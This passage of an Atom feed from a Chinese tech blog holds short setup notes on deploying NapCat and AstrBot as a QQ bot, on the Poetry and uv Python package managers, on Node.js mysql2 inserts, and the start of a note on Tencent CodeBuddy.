<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>57uv6Z6g</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://loli.fj.cn/</id>
  <link href="https://loli.fj.cn/" rel="alternate"/>
  <link href="https://loli.fj.cn/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, 57uv6Z6g</rights>
  <subtitle>
    <![CDATA[MS4wLjABAAAA5qMD8Gzdcgq7HXUOviKB59i0-ybJ59jJvNzyaPt5XOsVNqP6DU7WLcoAXvdxvYdp💗<br><span style="color: red">本站所有文章仅作技术研究，请勿非法破坏，请遵守相关法律法规，后果自负</span>]]>
  </subtitle>
  <title>57uv6Z6g</title>
  <updated>2026-07-16T13:01:47.471Z</updated>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>通过NapCat与QQ交互，通过AstrBot实现AI机器人，最终实现QQ机器人</p><span id="more"></span><h2 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h2><ul><li><a href="/2026/07/16/%E9%83%A8%E7%BD%B2NapCat/">部署NapCat</a></li><li><a href="/2026/07/16/%E9%83%A8%E7%BD%B2AstrBot/">部署AstrBot</a></li></ul><h2 id="NapCat创建WebSocket客户端"><a href="#NapCat创建WebSocket客户端" class="headerlink" title="NapCat创建WebSocket客户端"></a>NapCat创建WebSocket客户端</h2><ul><li>访问NapCat-&gt;<code>网络配置</code>-&gt;<code>新建</code>-&gt;<code>Websocket客户端</code></li></ul><p><img src="/../images/20260716123408/01.webp"></p><ul><li>URL改为<code>ws://127.0.0.1:6199/ws</code>-&gt;复制Token-&gt;<code>保存</code></li></ul><p><img src="/../images/20260716123408/02.webp"></p><h2 id="AstrBot创建OneBot机器人"><a href="#AstrBot创建OneBot机器人" class="headerlink" title="AstrBot创建OneBot机器人"></a>AstrBot创建OneBot机器人</h2><ul><li>访问AstrBot-&gt;<code>机器人</code>-&gt;<code>创建机器人</code></li></ul><p><img src="/../images/20260716123408/03.webp"></p><ul><li><code>消息平台类别</code>改为<code>OneBot v11</code>-&gt;<code>反向 Websocket Token</code>填写为上一步骤复制的Token-&gt;<code>保存</code></li></ul><p><img src="/../images/20260716123408/04.webp"></p><h2 id="NapCat启动WebSocket客户端"><a href="#NapCat启动WebSocket客户端" class="headerlink" title="NapCat启动WebSocket客户端"></a>NapCat启动WebSocket客户端</h2><ul><li>访问NapCat-&gt;<code>网络配置</code>-&gt;启动WebSocket客户端</li></ul><p><img src="/../images/20260716123408/05.webp"></p><ul><li>此时AstrBot机器人的平台日志输出<code>aiocqhttp(OneBot v11) 适配器已连接。</code>表示成功建立连接</li></ul><p><img src="/../images/20260716123408/06.webp"></p><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2><h2 id="参考文献"><a href="#参考文献" class="headerlink" title="参考文献"></a>参考文献</h2><p><a href="/302.html?target=https://www.cnblogs.com/ljbguanli/p/19890153">博客园——ljbguanli</a></p>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/16/%E9%80%9A%E8%BF%87NapCat%E5%92%8CAstrBot%E5%AE%9E%E7%8E%B0QQ%E6%9C%BA%E5%99%A8%E4%BA%BA/</id>
    <link href="https://loli.fj.cn/2026/07/16/%E9%80%9A%E8%BF%87NapCat%E5%92%8CAstrBot%E5%AE%9E%E7%8E%B0QQ%E6%9C%BA%E5%99%A8%E4%BA%BA/"/>
    <published>2026-07-16T04:34:08.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>通过NapCat与QQ交互，通过AstrBot实现AI机器人，最终实现QQ机器人</p>]]>
    </summary>
    <title>【笔记】通过NapCat和AstrBot实现QQ机器人</title>
    <updated>2026-07-16T13:01:47.471Z</updated>
  </entry>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <category term="Windows" scheme="https://loli.fj.cn/tags/Windows/"/>
    <category term="Github" scheme="https://loli.fj.cn/tags/Github/"/>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>现代化的基于 NTQQ 的 Bot 协议端实现（<a href="/302.html?target=https://napneko.github.io/">官网</a>）</p><span id="more"></span><h2 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h2><ul><li>最新版NTQQ</li></ul><p><a href="https://im.qq.com/">传送门</a></p><h2 id="下载依赖"><a href="#下载依赖" class="headerlink" title="下载依赖"></a>下载依赖</h2><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">certutil -urlcache -split -f https://github.com/NapNeko/NapCatQQ/releases/download/v4.<span class="number">18</span>.<span class="number">9</span>/NapCat.Shell.zip</span><br><span class="line">&quot;C:\Program Files\<span class="number">7</span>-Zip\<span class="number">7</span>z.exe&quot; x NapCat.Shell.zip -oNapCat.Shell</span><br><span class="line"><span class="built_in">cd</span> NapCat.Shell</span><br></pre></td></tr></table></figure><h2 id="启动服务"><a href="#启动服务" class="headerlink" title="启动服务"></a>启动服务</h2><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.\launcher-win10.bat</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[NapCat] [WebUi] WebUi Token: xxxxxxxxxxxx</span><br><span class="line">[NapCat] [WebUi] WebUi User Panel Url: http://127.0.0.1:6099/webui?token=xxxxxxxxxxxx</span><br><span class="line">[NapCat] [WebUi] WebUi User Panel Url: http://[::]:6099/webui?token=xxxxxxxxxxxx</span><br></pre></td></tr></table></figure><ul><li><p>QQ扫码登录</p></li><li><p>访问<a href="http://127.0.0.1:6099/">http://127.0.0.1:6099</a></p></li></ul><blockquote><p>Token：上步骤获取的Token</p></blockquote><p><img src="/../images/20260716095450/01.webp"></p><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2><ul><li>截图纪念</li></ul><p><img src="/../images/20260716095450/02.webp"></p>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/16/%E9%83%A8%E7%BD%B2NapCat/</id>
    <link href="https://loli.fj.cn/2026/07/16/%E9%83%A8%E7%BD%B2NapCat/"/>
    <published>2026-07-16T01:54:50.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>现代化的基于 NTQQ 的 Bot 协议端实现（<a href="/302.html?target=https://napneko.github.io/">官网</a>）</p>]]>
    </summary>
    <title>【笔记】部署NapCat</title>
    <updated>2026-07-16T13:01:47.474Z</updated>
  </entry>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <category term="Github" scheme="https://loli.fj.cn/tags/Github/"/>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>AstrBot 是一个跨平台 AI 助手，让 AI 直接工作在你的聊天软件中，实现自动化任务与智能协作，同时提供灵活的 Agent 编排能力。（<a href="/302.html?target=https://astrbot.app/">官网</a>）</p><span id="more"></span><h2 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h2><ul><li><a href="/2026/07/16/uv%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/">uv</a></li></ul><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv --version</span><br></pre></td></tr></table></figure><h2 id="下载依赖"><a href="#下载依赖" class="headerlink" title="下载依赖"></a>下载依赖</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv tool install astrbot --python 3.12</span><br></pre></td></tr></table></figure><h2 id="初始化"><a href="#初始化" class="headerlink" title="初始化"></a>初始化</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mkdir astrbot</span><br><span class="line">cd astrbot</span><br><span class="line">astrbot init</span><br></pre></td></tr></table></figure><h2 id="启动服务"><a href="#启动服务" class="headerlink" title="启动服务"></a>启动服务</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">astrbot run</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">AstrBot v4.26.6 WebUI is ready</span><br><span class="line"></span><br><span class="line"> ➜  Local: http://localhost:6185</span><br><span class="line"> ➜  Network: http://127.0.0.1:6185</span><br><span class="line"> ➜  Initial username: astrbot</span><br><span class="line"> ➜  Initial password: XXXXXXXXXXXXXXXXXXXXXXXX</span><br><span class="line"> ➜  Change it after logging in</span><br></pre></td></tr></table></figure><ul><li>访问<a href="http://127.0.0.1:6185/">http://127.0.0.1:6185</a></li></ul><blockquote><p>用户名：<code>astrbot</code><br>密码：上一步骤获取的初始密码</p></blockquote><p><img src="/../images/20260716090335/01.webp"></p><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2><ul><li>截图纪念</li></ul><p><img src="/../images/20260716090335/02.webp"></p>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/16/%E9%83%A8%E7%BD%B2AstrBot/</id>
    <link href="https://loli.fj.cn/2026/07/16/%E9%83%A8%E7%BD%B2AstrBot/"/>
    <published>2026-07-16T01:03:35.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>AstrBot 是一个跨平台 AI 助手，让 AI 直接工作在你的聊天软件中，实现自动化任务与智能协作，同时提供灵活的 Agent 编排能力。（<a href="/302.html?target=https://astrbot.app/">官网</a>）</p>]]>
    </summary>
    <title>【笔记】部署AstrBot</title>
    <updated>2026-07-16T13:01:47.474Z</updated>
  </entry>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <category term="Python" scheme="https://loli.fj.cn/tags/Python/"/>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Python packaging and dependency management made easy（<a href="/302.html?target=https://python-poetry.org/">官网</a>）</p><span id="more"></span><h2 id="安装Poetry"><a href="#安装Poetry" class="headerlink" title="安装Poetry"></a>安装Poetry</h2><h3 id="pipx"><a href="#pipx" class="headerlink" title="pipx"></a>pipx</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pipx install poetry</span><br></pre></td></tr></table></figure><h2 id="查看帮助"><a href="#查看帮助" class="headerlink" title="查看帮助"></a>查看帮助</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">poetry --help</span><br></pre></td></tr></table></figure><h2 id="初始化项目"><a href="#初始化项目" class="headerlink" title="初始化项目"></a>初始化项目</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">poetry new &lt;project_name&gt;</span><br><span class="line">cd &lt;project_name&gt;</span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mkdir &lt;project_name&gt;</span><br><span class="line">cd &lt;project_name&gt;</span><br><span class="line">poetry init</span><br></pre></td></tr></table></figure><h2 id="指定当前项目的Python版本"><a href="#指定当前项目的Python版本" class="headerlink" title="指定当前项目的Python版本"></a>指定当前项目的Python版本</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">poetry env use &lt;version&gt;</span><br></pre></td></tr></table></figure><h2 id="添加所有依赖"><a href="#添加所有依赖" class="headerlink" title="添加所有依赖"></a>添加所有依赖</h2><ul><li>根据<code>pyproject.toml</code>文件添加所有依赖</li></ul><blockquote><p><code>--no-dev</code>：只添加运行时依赖不添加开发依赖，缺省值为添加运行时依赖和开发依赖</p></blockquote><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">poetry install</span><br></pre></td></tr></table></figure><h2 id="添加指定依赖"><a href="#添加指定依赖" class="headerlink" title="添加指定依赖"></a>添加指定依赖</h2><blockquote><p><code>-D</code>：添加开发依赖</p></blockquote><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">poetry add &lt;package_name&gt;</span><br></pre></td></tr></table></figure><h3 id="指定版本"><a href="#指定版本" class="headerlink" title="指定版本"></a>指定版本</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">poetry add &lt;package_name&gt;==&lt;version&gt;</span><br></pre></td></tr></table></figure><h2 id="删除依赖"><a href="#删除依赖" class="headerlink" title="删除依赖"></a>删除依赖</h2><blockquote><p><code>-D</code>：删除开发依赖</p></blockquote><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">portry remove &lt;package_name&gt;</span><br></pre></td></tr></table></figure><h2 id="更新依赖"><a href="#更新依赖" class="headerlink" title="更新依赖"></a>更新依赖</h2><h3 id="更新所有依赖"><a href="#更新所有依赖" class="headerlink" title="更新所有依赖"></a>更新所有依赖</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">poetry update</span><br></pre></td></tr></table></figure><h3 id="更新指定依赖"><a href="#更新指定依赖" class="headerlink" title="更新指定依赖"></a>更新指定依赖</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">poetry update &lt;package_name&gt;</span><br></pre></td></tr></table></figure><h2 id="查看已安装依赖列表"><a href="#查看已安装依赖列表" class="headerlink" title="查看已安装依赖列表"></a>查看已安装依赖列表</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">poetry show</span><br></pre></td></tr></table></figure><h2 id="查看已安装依赖树"><a href="#查看已安装依赖树" class="headerlink" title="查看已安装依赖树"></a>查看已安装依赖树</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">poetry show --tree</span><br></pre></td></tr></table></figure><h2 id="查看已安装的指定依赖"><a href="#查看已安装的指定依赖" class="headerlink" title="查看已安装的指定依赖"></a>查看已安装的指定依赖</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">poetry show &lt;package_name&gt;</span><br></pre></td></tr></table></figure><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/16/Poetry%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</id>
    <link href="https://loli.fj.cn/2026/07/16/Poetry%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <published>2026-07-16T00:43:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Python packaging and dependency management made easy（<a href="/302.html?target=https://python-poetry.org/">官网</a>）</p>]]>
    </summary>
    <title>【笔记】Poetry学习笔记</title>
    <updated>2026-07-16T13:01:47.377Z</updated>
  </entry>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <category term="Python" scheme="https://loli.fj.cn/tags/Python/"/>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>An extremely fast Python package and project manager, written in Rust.（<a href="/302.html?target=https://docs.astral.sh/uv/">官网</a>）</p><span id="more"></span><h2 id="安装uv"><a href="#安装uv" class="headerlink" title="安装uv"></a>安装uv</h2><h3 id="Windows"><a href="#Windows" class="headerlink" title="Windows"></a>Windows</h3><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">choco install uv</span><br></pre></td></tr></table></figure><h2 id="查看帮助"><a href="#查看帮助" class="headerlink" title="查看帮助"></a>查看帮助</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv --help</span><br></pre></td></tr></table></figure><h2 id="初始化项目"><a href="#初始化项目" class="headerlink" title="初始化项目"></a>初始化项目</h2><h3 id="通过uv管理虚拟环境"><a href="#通过uv管理虚拟环境" class="headerlink" title="通过uv管理虚拟环境"></a>通过uv管理虚拟环境</h3><ul><li>通过<code>uv</code>初始化Python项目时会自动创建Python虚拟环境<code>.venv</code></li></ul><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">uv init &lt;project_name&gt;</span><br><span class="line">cd &lt;project_name&gt;</span><br></pre></td></tr></table></figure><h3 id="手动管理虚拟环境"><a href="#手动管理虚拟环境" class="headerlink" title="手动管理虚拟环境"></a>手动管理虚拟环境</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">mkdir &lt;project_name&gt;</span><br><span class="line">cd &lt;project_name&gt;</span><br><span class="line">uv venv</span><br><span class="line">source .venv/bin/activate</span><br></pre></td></tr></table></figure><h4 id="手动管理依赖"><a href="#手动管理依赖" class="headerlink" title="手动管理依赖"></a>手动管理依赖</h4><ul><li>通过<code>uv pip</code>手动管理依赖时，不会自动修改<code>pyproject.toml</code>文件</li></ul><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv pip install &lt;package_name&gt;</span><br></pre></td></tr></table></figure><h2 id="添加所有依赖"><a href="#添加所有依赖" class="headerlink" title="添加所有依赖"></a>添加所有依赖</h2><ul><li>根据<code>pyproject.toml</code>文件添加所有依赖</li></ul><blockquote><p><code>--sync</code>：只添加开发依赖<br><code>--no-dev</code>：只添加运行时依赖不添加开发依赖，缺省值为添加运行时依赖和开发依赖</p></blockquote><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv sync</span><br></pre></td></tr></table></figure><ul><li>根据<code>requirements.txt</code>文件添加所有依赖</li></ul><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv pip install -r requirements.txt</span><br></pre></td></tr></table></figure><h2 id="添加指定依赖"><a href="#添加指定依赖" class="headerlink" title="添加指定依赖"></a>添加指定依赖</h2><blockquote><p><code>--dev</code>：添加开发依赖</p></blockquote><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv add &lt;package_name&gt;</span><br></pre></td></tr></table></figure><h3 id="指定版本"><a href="#指定版本" class="headerlink" title="指定版本"></a>指定版本</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv add numpy==&lt;version&gt;</span><br></pre></td></tr></table></figure><h2 id="删除依赖"><a href="#删除依赖" class="headerlink" title="删除依赖"></a>删除依赖</h2><blockquote><p><code>--dev</code>：删除开发依赖</p></blockquote><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv remove &lt;package_name&gt;</span><br></pre></td></tr></table></figure><h2 id="查看可更新依赖"><a href="#查看可更新依赖" class="headerlink" title="查看可更新依赖"></a>查看可更新依赖</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv outdated</span><br></pre></td></tr></table></figure><h2 id="查看已安装依赖列表"><a href="#查看已安装依赖列表" class="headerlink" title="查看已安装依赖列表"></a>查看已安装依赖列表</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv list</span><br></pre></td></tr></table></figure><h2 id="查看已安装依赖树"><a href="#查看已安装依赖树" class="headerlink" title="查看已安装依赖树"></a>查看已安装依赖树</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv tree</span><br></pre></td></tr></table></figure><h2 id="依赖冲突检查"><a href="#依赖冲突检查" class="headerlink" title="依赖冲突检查"></a>依赖冲突检查</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv check</span><br></pre></td></tr></table></figure><h2 id="将requirements-txt转换为pyproject-toml"><a href="#将requirements-txt转换为pyproject-toml" class="headerlink" title="将requirements.txt转换为pyproject.toml"></a>将<code>requirements.txt</code>转换为<code>pyproject.toml</code></h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv init --requirements requirements.txt</span><br></pre></td></tr></table></figure><h2 id="运行源码"><a href="#运行源码" class="headerlink" title="运行源码"></a>运行源码</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv run python main.py</span><br></pre></td></tr></table></figure><h2 id="运行开发工具"><a href="#运行开发工具" class="headerlink" title="运行开发工具"></a>运行开发工具</h2><h3 id="单元测试"><a href="#单元测试" class="headerlink" title="单元测试"></a>单元测试</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv run pytest</span><br></pre></td></tr></table></figure><h3 id="代码格式化"><a href="#代码格式化" class="headerlink" title="代码格式化"></a>代码格式化</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv run ruff format</span><br></pre></td></tr></table></figure><h2 id="缓存"><a href="#缓存" class="headerlink" title="缓存"></a>缓存</h2><h3 id="清理缓存"><a href="#清理缓存" class="headerlink" title="清理缓存"></a>清理缓存</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv cache clean</span><br></pre></td></tr></table></figure><h2 id="Python版本管理"><a href="#Python版本管理" class="headerlink" title="Python版本管理"></a>Python版本管理</h2><h3 id="查看所有已安装的版本"><a href="#查看所有已安装的版本" class="headerlink" title="查看所有已安装的版本"></a>查看所有已安装的版本</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv python list</span><br></pre></td></tr></table></figure><h3 id="查看所有可安装的版本"><a href="#查看所有可安装的版本" class="headerlink" title="查看所有可安装的版本"></a>查看所有可安装的版本</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv python list --all</span><br></pre></td></tr></table></figure><h3 id="安装指定Python版本"><a href="#安装指定Python版本" class="headerlink" title="安装指定Python版本"></a>安装指定Python版本</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv python install &lt;version&gt;</span><br></pre></td></tr></table></figure><h3 id="卸载指定版本"><a href="#卸载指定版本" class="headerlink" title="卸载指定版本"></a>卸载指定版本</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv python uninstall &lt;version&gt;</span><br></pre></td></tr></table></figure><h3 id="锁定项目Python版本"><a href="#锁定项目Python版本" class="headerlink" title="锁定项目Python版本"></a>锁定项目Python版本</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uv python pin &lt;version&gt;</span><br></pre></td></tr></table></figure><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/15/uv%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</id>
    <link href="https://loli.fj.cn/2026/07/15/uv%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <published>2026-07-15T23:50:12.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>An extremely fast Python package and project manager, written in Rust.（<a href="/302.html?target=https://docs.astral.sh/uv/">官网</a>）</p>]]>
    </summary>
    <title>【笔记】uv学习笔记</title>
    <updated>2026-07-16T13:01:47.427Z</updated>
  </entry>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Nodejs通过mysql2操作MySQL数据库</p><span id="more"></span><h2 id="下载依赖"><a href="#下载依赖" class="headerlink" title="下载依赖"></a>下载依赖</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install mysql2</span><br></pre></td></tr></table></figure><h2 id="获取数据库连接"><a href="#获取数据库连接" class="headerlink" title="获取数据库连接"></a>获取数据库连接</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> mysql2 = <span class="built_in">require</span>(<span class="string">&quot;mysql2&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> connection = mysql2.<span class="title function_">createConnection</span>(&#123;</span><br><span class="line">  <span class="attr">host</span>: <span class="string">&quot;127.0.0.1&quot;</span>,</span><br><span class="line">  <span class="attr">port</span>: <span class="number">3306</span>,</span><br><span class="line">  <span class="attr">user</span>: <span class="string">&quot;root&quot;</span>,</span><br><span class="line">  <span class="attr">password</span>: <span class="string">&quot;&quot;</span>,</span><br><span class="line">  <span class="attr">database</span>: <span class="string">&quot;&quot;</span></span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h2 id="新增数据"><a href="#新增数据" class="headerlink" title="新增数据"></a>新增数据</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">connection.<span class="title function_">query</span>(<span class="string">&quot;INSERT INTO &lt;table_name&gt; SET &lt;field_name&gt;=&lt;value&gt;&quot;</span>);</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">connection.<span class="title function_">query</span>(<span class="string">&quot;INSERT INTO &lt;table_name&gt; SET ?&quot;</span>, &#123;&#125;);</span><br></pre></td></tr></table></figure><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/15/Nodejs%E9%80%9A%E8%BF%87mysql2%E6%93%8D%E4%BD%9CMySQL%E6%95%B0%E6%8D%AE%E5%BA%93/</id>
    <link href="https://loli.fj.cn/2026/07/15/Nodejs%E9%80%9A%E8%BF%87mysql2%E6%93%8D%E4%BD%9CMySQL%E6%95%B0%E6%8D%AE%E5%BA%93/"/>
    <published>2026-07-15T04:17:55.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Nodejs通过mysql2操作MySQL数据库</p>]]>
    </summary>
    <title>【笔记】Nodejs通过mysql2操作MySQL数据库</title>
    <updated>2026-07-16T13:01:47.373Z</updated>
  </entry>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Tencent的CodeBuddy学习笔记</p><span id="more"></span><h2 id="下载依赖"><a href="#下载依赖" class="headerlink" title="下载依赖"></a>下载依赖</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install -g @tencent-ai/codebuddy-code</span><br></pre></td></tr></table></figure><h2 id="启动交互式终端"><a href="#启动交互式终端" class="headerlink" title="启动交互式终端"></a>启动交互式终端</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">codebuddy</span><br></pre></td></tr></table></figure><h3 id="登录"><a href="#登录" class="headerlink" title="登录"></a>登录</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/login</span><br></pre></td></tr></table></figure><h2 id="启动ACP服务"><a href="#启动ACP服务" class="headerlink" title="启动ACP服务"></a>启动ACP服务</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span 